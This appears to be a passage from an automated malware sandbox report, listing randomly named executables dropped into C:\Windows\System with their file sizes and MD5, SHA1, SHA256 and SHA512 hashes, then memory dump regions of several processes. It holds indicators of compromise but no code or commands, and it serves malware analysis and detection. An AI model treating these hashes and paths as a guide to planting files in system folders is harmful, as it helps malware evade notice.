C:\Windows\System\bPJyzMM.exe

Filesize
1.9MB

MD5
dd3e94ce815aee9621bd7664ba6552c9

SHA1
c3be14fad41caa68902541376269fe384ac89ef2

SHA256
ed90a0d4f350ae8f65c6103d5e165fde76f9d9b0520f07af844b0f01339c622b

SHA512
7adb64948af9bfac296da67d82a51d1e9c66f2c528a1ec74b7ca3f1ad6b4f0cdc9cf3d916f362c230f5ee978a84551023c46c9619cb15dca0234fb2290334ff8

Download Submit
C:\Windows\System\cFfvgXr.exe

Filesize
1.9MB

MD5
6b8f75f5376e15c23bbb25000b7a0479

SHA1
02966898fdc959f9fc0d0af621ca41c1cb2e9ebb

SHA256
7de43740bc6d6a9c57886595fbcfe4572cb0e9489cb7eccd057993e598809761

SHA512
9ad0e472aff6cd86d8bef7cc2a381df0a897f1273941b07f94e1c850f1a4c4b6a6492a4919e4e95bb709da7c3fb8cfbd48fb4ec6be4d56681f6d7280696b0266

Download Submit
C:\Windows\System\eNFhHRj.exe

Filesize
1.9MB

MD5
d9c7c1e32451ea6f744a1adfaa4739cd

SHA1
ad55b9a9f78aa74a65936894d8628ece30f5dc9f

SHA256
3d88bd8380c2e23e2f3325dccbf68ff8f7ca06185b2c9ff4b0c5913b74108bc4

SHA512
707c640c1ea464d0ee611e7b293bf7f37c2bd57283af0c21ffc71700308b8f2090f2227ab01d3df9c4a6ee0c12f00bad3cb8c85531a1e754722da045da5282fc

Download Submit
C:\Windows\System\eUwolqo.exe

Filesize
1.9MB

MD5
3866a9c82789d249ffe4e61b8e0b7c35

SHA1
192fb9eaf8abf44d879a6521953b87da40ec2c9d

SHA256
d80a496b7ccfd4f2dda8280380b51d5572c54bd51d79b3b5d14b5deff2215c96

SHA512
e146b7b0d011962106ac73a961a8e4289cf9a7f61e27700d7628ac19f49410a7ba68b0f29eab85472b04ce390beaac7f0a407255c5cc763d5f3e06683c07fb69

Download Submit
C:\Windows\System\gqWGoId.exe

Filesize
1.9MB

MD5
ee6942913116c29f1f9263b76512e2f8

SHA1
31a94aba6e3c115a28448251fb6f595b6e24e96b

SHA256
305a529404c38b3375a17d15b3697e9691de609f3e252417a81fbbe11c9b8c0c

SHA512
281801ca12791d9d7254303547a90ed589c81a400d4a08a51492bd8d5f9763b9458bcbf3d9adeb9e371795101ad73949a89e399f0d505644f93e1fcd2d4d45f7

Download Submit
C:\Windows\System\hqetvCH.exe

Filesize
1.9MB

MD5
15f3b3713a7f6485134cdf5d0192a39f

SHA1
fc8fc08fb9ce9a6722de7bb24cf81a6f8da63c88

SHA256
759a8379f9574963fe390e371357ccf297d0e0de5b3423d52cf301bb20b8e107

SHA512
0c137c6f3ce2d2b2a9a5df95835bedf54185331572acc8c60bbb50c9e80b92b2bc8c7967950b53133a366898fb895d84ff952ba3bfd47bfca77aa644972dde18

Download Submit
C:\Windows\System\hyYSwRX.exe

Filesize
1.9MB

MD5
06a0ed5753e9da4f656ff219f988237f

SHA1
62ef9e3dc848733b74c5901f6e3f4f928c0474a0

SHA256
57b82ac379a66e73335cf9d319a965709f5b520cf337364f0da089f979fc4cf5

SHA512
6cb3002fa6ebf94527fb35264f7f3d3bd5cd78e95010afbbd6ecab4b0217339771af28861b670740d2d826acc60561cb16bda284230eebbbe7ef7d905452bec1

Download Submit
C:\Windows\System\jlUdWbo.exe

Filesize
1.9MB

MD5
079e2f640b3ada1efc152e2c4e16efe2

SHA1
374658a02363921a2275b0a20d807281e614471e

SHA256
c360094911d0da7f8cc53840f98c7df24b9bebeda13b750749424b386e0f6df3

SHA512
9e252f0ab21738a340dd0e6b36ccb2948da56afecf50dcdf33298685525528962f0297d2169bb80e920dd499c255d87bc2e2a9cf0da427cd75d5d9b559d21f34

Download Submit
C:\Windows\System\kUjbdJe.exe

Filesize
1.9MB

MD5
62a517153c25337063ab31e99e4ba5b5

SHA1
c5746cadb048b09381b0435e2b9da9b0957b4aab

SHA256
7eab6582cc44e1dbc219b58c8736304943e21ee5b31b067635ce8cfae8d55cf1

SHA512
b95c85a40317c0c7e1dc0a4e915cf69ba35e77f1018a830fcd92214aa3d42d5454674510854dbeb3683dff39e226ef48f73365723248997adbdd54aa9ec25cf9

Download Submit
C:\Windows\System\lSGrnBj.exe

Filesize
1.9MB

MD5
c50f645c4e15912b402b603291b40788

SHA1
223afb650b596794d9cdb07a93ba5d823117fc09

SHA256
1cf7269f4b2bb7a837a90c6e23339cbd415e0e5cf584fbaec5bc74b0f380b230

SHA512
ce02756b8d09774d435f924d5a32d426eacb762648e54652230806485aa1b311e2f0cd0ab64a8366b603ca962bcd74f6d0645f8c6704a02ac6f8b8e49286b7b8

Download Submit
C:\Windows\System\lYNDgPL.exe

Filesize
1.9MB

MD5
9e277989bbc58d4628a37a8f24924c92

SHA1
88cf1aa680defe043c417b7c76e9b4b9a3074827

SHA256
06cc72523ed3df55a99a4572451cf695acf97017596a2be329cf5be68c42bc3f

SHA512
2f70fc2ade4b9c78f9376fe0f7a62c503b9f1b78e6e1ef2122e39936f7004d271692deb50e524903f750e9f58cf0051936b419530b92736cf44b11a89fc1dd1c

Download Submit
C:\Windows\System\nJmCPuJ.exe

Filesize
1.9MB

MD5
859db60a90242adb48251dac3baff1b5

SHA1
7f5908073e8f49cb15e9f75c47f18c0703a2ed50

SHA256
ac7e3641171041bfb8dc74d8116fa07829402a7fbda9724933ff804eae4b9d8e

SHA512
9cd90e53685f13360af000c32b908b63fb3e7269699d363fab35d9edb18a22c4546e56fc20f66b2ab2083fd289925d5ed9a594d91a7f2927e72b6e9b87080cde

Download Submit
C:\Windows\System\toBtCiH.exe

Filesize
1.9MB

MD5
213ebf73dce9a6823663caf10d97b413

SHA1
6e749a2779becc767b1cce435d8382ef6a12ddae

SHA256
7a8fab3759c6ec2e0f2fea17ebacf33b9f47c0f81d7e15191b38afbe2d506c06

SHA512
b645b7aca1b10a7958c0280cc7edaaba5918ebc283b39382165250b42bbfd3059d9d7fea286ab8723a1211afae908851e5d9d2d5785424634744a499f32025aa

Download Submit
C:\Windows\System\vlyuRVv.exe

Filesize
1.9MB

MD5
88b0349848636df54df811d72545c5aa

SHA1
127c92a557c4744ea3212bb4aecf520f7dfddc8f

SHA256
a3ca6f0e36e3545790b5f03cb7a628f5efd94247dd3c124e7212f652bd13d817

SHA512
36844758c31af62d4946b0689d42f18746be6d09e504f15c6e6887560e76a5b23acaacbfcd66ad4165274b6bbe58cc4c6be3946495bb339c886870812cfad9ab

Download Submit
C:\Windows\System\vnrBTJw.exe

Filesize
1.9MB

MD5
0f20f0d7d62f88d3bab85b00d3baad06

SHA1
a429939b765ef20eba48f5053685d795ed45dae2

SHA256
0edfbf8933621e59c77e401de842137b8b9bd2734a2bed00ea21984b99690f00

SHA512
b6fde9cdd379405368da541b55896d17508b5706d2e197ad0889fac33c92fd01c4d71fb2e090ac7e25dd2f6b7636657ee6d570c40834e0704531ac4086386ed1

Download Submit
C:\Windows\System\vpcKeau.exe

Filesize
1.9MB

MD5
1f621305d15d39434f90b06a46997a4c

SHA1
cf18df5c0f984cd8b4b40c06d43d496021342135

SHA256
409b6e128b8bf5a992348992aa22f28891ede0dde6b63bb9988b07e8377e6c66

SHA512
6df50daae57ec9d3be1185a3b57a0823740726a0076f5be4f99f45f0c3aefac7937f79a1f170c04f8f68215f347095b0ac19d01fdf74ea7aa76d3b1e68b2526c

Download Submit
C:\Windows\System\wYeykST.exe

Filesize
1.9MB

MD5
8d4ff81cce1ffcc5c40c6c001af8fe4a

SHA1
dcd6874790bf9df221e0a2fe9d9203d469523fc2

SHA256
b9594043bd68bb2bac3017e9bc769353ecf6ce4491cfe35501614edc84a92709

SHA512
2c6760e83a448552366f1cb5a8a3b19c947ecb222f78b34f7cf136baba46e87902aa6aa250738b358f3a55d551df8d11b3dc444d957ccf0816ea6be8c6a51b78

Download Submit
C:\Windows\System\zYjJrNx.exe

Filesize
1.9MB

MD5
47a588b8af5d63be14373d21abf4f911

SHA1
16f2942d212e299af9b6a6e7e2dd343fe59cdd5f

SHA256
2b0cc83ecd76281860ab8b9516846557af4a443339cfb99e2abde314aa7bc62d

SHA512
cd29acb52771cb810fd49495eaef5c11c17d53121aba882c1fd8a1eee191dd0824f40f0a5ca53e6cfed9974c17dbf8419d5c9db2679a204fe86b7c4297f45e3b

Download Submit
memory/228-429-0x00007FF7178B0000-0x00007FF717CA2000-memory.dmp

Filesize
3.9MB

Download
memory/228-3434-0x00007FF7178B0000-0x00007FF717CA2000-memory.dmp

Filesize
3.9MB

Download
memory/384-160-0x00007FF7CF320000-0x00007FF7CF712000-memory.dmp

Filesize
3.9MB

Download
memory/384-3377-0x00007FF7CF320000-0x00007FF7CF712000-memory.dmp

Filesize
3.9MB

Download
memory/516-3383-0x00007FF60C0C0000-0x00007FF60C4B2000-memory.dmp

Filesize
3.9MB

Download
memory/516-563-0x00007FF60C0C0000-0x00007FF60C4B2000-memory.dmp

Filesize
3.9MB

Download
memory/628-3438-0x00007FF7F1E00000-0x00007FF7F21F2000-memory.dmp

Filesize
3.9MB

Download
memory/628-625-0x00007FF7F1E00000-0x00007FF7F21F2000-memory.dmp

Filesize
3.9MB

Download
memory/848-26-0x00007FF6B8420000-0x00007FF6B8812000-memory.dmp

Filesize
3.9MB

Download
memory/848-3371-0x00007FF6B8420000-0x00007FF6B8812000-memory.dmp

Filesize
3.9MB

Download
memory/972-564-0x00007FF6D2060000-0x00007FF6D2452000-memory.dmp

Filesize
3.9MB

Download
memory/972-3393-0x00007FF6D2060000-0x00007FF6D2452000-memory.dmp

Filesize
3.9MB

Download
memory/1128-248-0x00007FF60C440000-0x00007FF60C832000-memory.dmp

Filesize
3.9MB

Download
memory/1128-3375-0x00007FF60C440000-0x00007FF60C832000-memory.dmp

Filesize
3.9MB

Download
memory/1148-3351-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp

Filesize
3.9MB

Download
memory/1148-3387-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp

Filesize
3.9MB

Download
memory/1148-121-0x00007FF7BB310000-0x00007FF7BB702000-memory.dmp

Filesize
3.9MB

Download
memory/1180-377-0x00007FF6332E0000-0x00007FF6336D2000-memory.dmp

Filesize
3.9MB

Download
memory/1180-3397-0x00007FF6332E0000-0x00007FF6336D2000-memory.dmp

Filesize
3.9MB

Download
memory/1508-469-0x00007FF7089D0000-0x00007FF708DC2000-memory.dmp

Filesize
3.9MB

Download
memory/1508-3373-0x00007FF7089D0000-0x00007FF708DC2000-memory.dmp

Filesize
3.9MB

Download
memory/1984-3354-0x00007FF76FB20000-0x00007FF76FF12000-memory.dmp

Filesize
3.9MB

Download
memory/1984-3369-0x00007FF76FB20000-0x00007FF76FF12000-memory.dmp

Filesize
3.9MB

Download
memory/1984-15-0x00007FF76FB20000-0x00007FF76FF12000-memory.dmp

Filesize
3.9MB

Download
memory/2184-3389-0x00007FF750490000-0x00007FF750882000-memory.dmp

Filesize
3.9MB

Download
memory/2184-291-0x00007FF750490000-0x00007FF750882000-memory.dmp

Filesize
3.9MB

Download
memory/3228-325-0x00007FF61BDD0000-0x00007FF61C1C2000-memory.dmp

Filesize
3.9MB

Download
memory/3228-3403-0x00007FF61BDD0000-0x00007FF61C1C2000-memory.dmp

Filesize
3.9MB

Download
memory/3540-57-0x00007FF950D50000-0x00007FF951811000-memory.dmp

Filesize
10.8MB

Download
memory/3540-351-0x000001BDE6860000-0x000001BDE6882000-memory.dmp

Filesize
136KB

Download
memory/3540-58-0x000001BDE5D70000-0x000001BDE5D80000-memory.dmp

Filesize
64KB

Download
memory/3628-3399-0x00007FF618950000-0x00007FF618D42000-memory.dmp

Filesize
3.9MB

Download
memory/3628-322-0x00007FF618950000-0x00007FF618D42000-memory.dmp

Filesize
3.9MB

Download
memory/3700-3401-0x00007FF68AC50000-0x00007FF68B042000-memory.dmp

Filesize
3.9MB

Download
memory/3700-294-0x00007FF68AC50000-0x00007FF68B042000-memory.dmp

Filesize
3.9MB

Download
memory/3860-84-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp

Filesize
3.9MB

Download
memory/3860-3350-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp

Filesize
3.9MB

Download
memory/3860-3381-0x00007FF7A88C0000-0x00007FF7A8CB2000-memory.dmp

Filesize
3.9MB

Download
memory/4112-3428-0x00007FF6455B0000-0x00007FF6459A2000-memory.dmp

Filesize
3.9MB

Download
memory/4112-466-0x00007FF6455B0000-0x00007FF6459A2000-memory.dmp

Filesize
3.9MB

Download
memory/4624-0-0x00007FF744A10000-0x00007FF744E02000-memory.dmp

Filesize
3.9MB

Download
memory/4624-1-0x00000231E77F0000-0x00000231E7800000-memory.dmp

Filesize
64KB

Download
memory/4740-3385-0x00007FF760950000-0x00007FF760D42000-memory.dmp

Filesize
3.9MB

Download
memory/4740-200-0x00007FF760950000-0x00007FF760D42000-memory.dmp

Filesize
3.9MB

Download
memory/4752-3395-0x00007FF6F5B20000-0x00007FF6F5F12000-memory.dmp

Filesize
3.9MB

Download
memory/4752-203-0x00007FF6F5B20000-0x00007FF6F5F12000-memory.dmp

Filesize
3.9MB

Download
memory/4908-378-0x00007FF785A50000-0x00007FF785E42000-memory.dmp

Filesize
3.9MB

Download
memory/4908-3392-0x00007FF785A50000-0x00007FF785E42000-memory.dmp

Filesize
3.9MB

Download
memory/4988-128-0x00007FF600CC0000-0x00007FF6010B2000-memory.dmp

Filesize
3.9MB

Download
memory/4988-3380-0x00007FF600CC0000-0x00007FF6010B2000-memory.dmp

Filesize
3.9MB

Download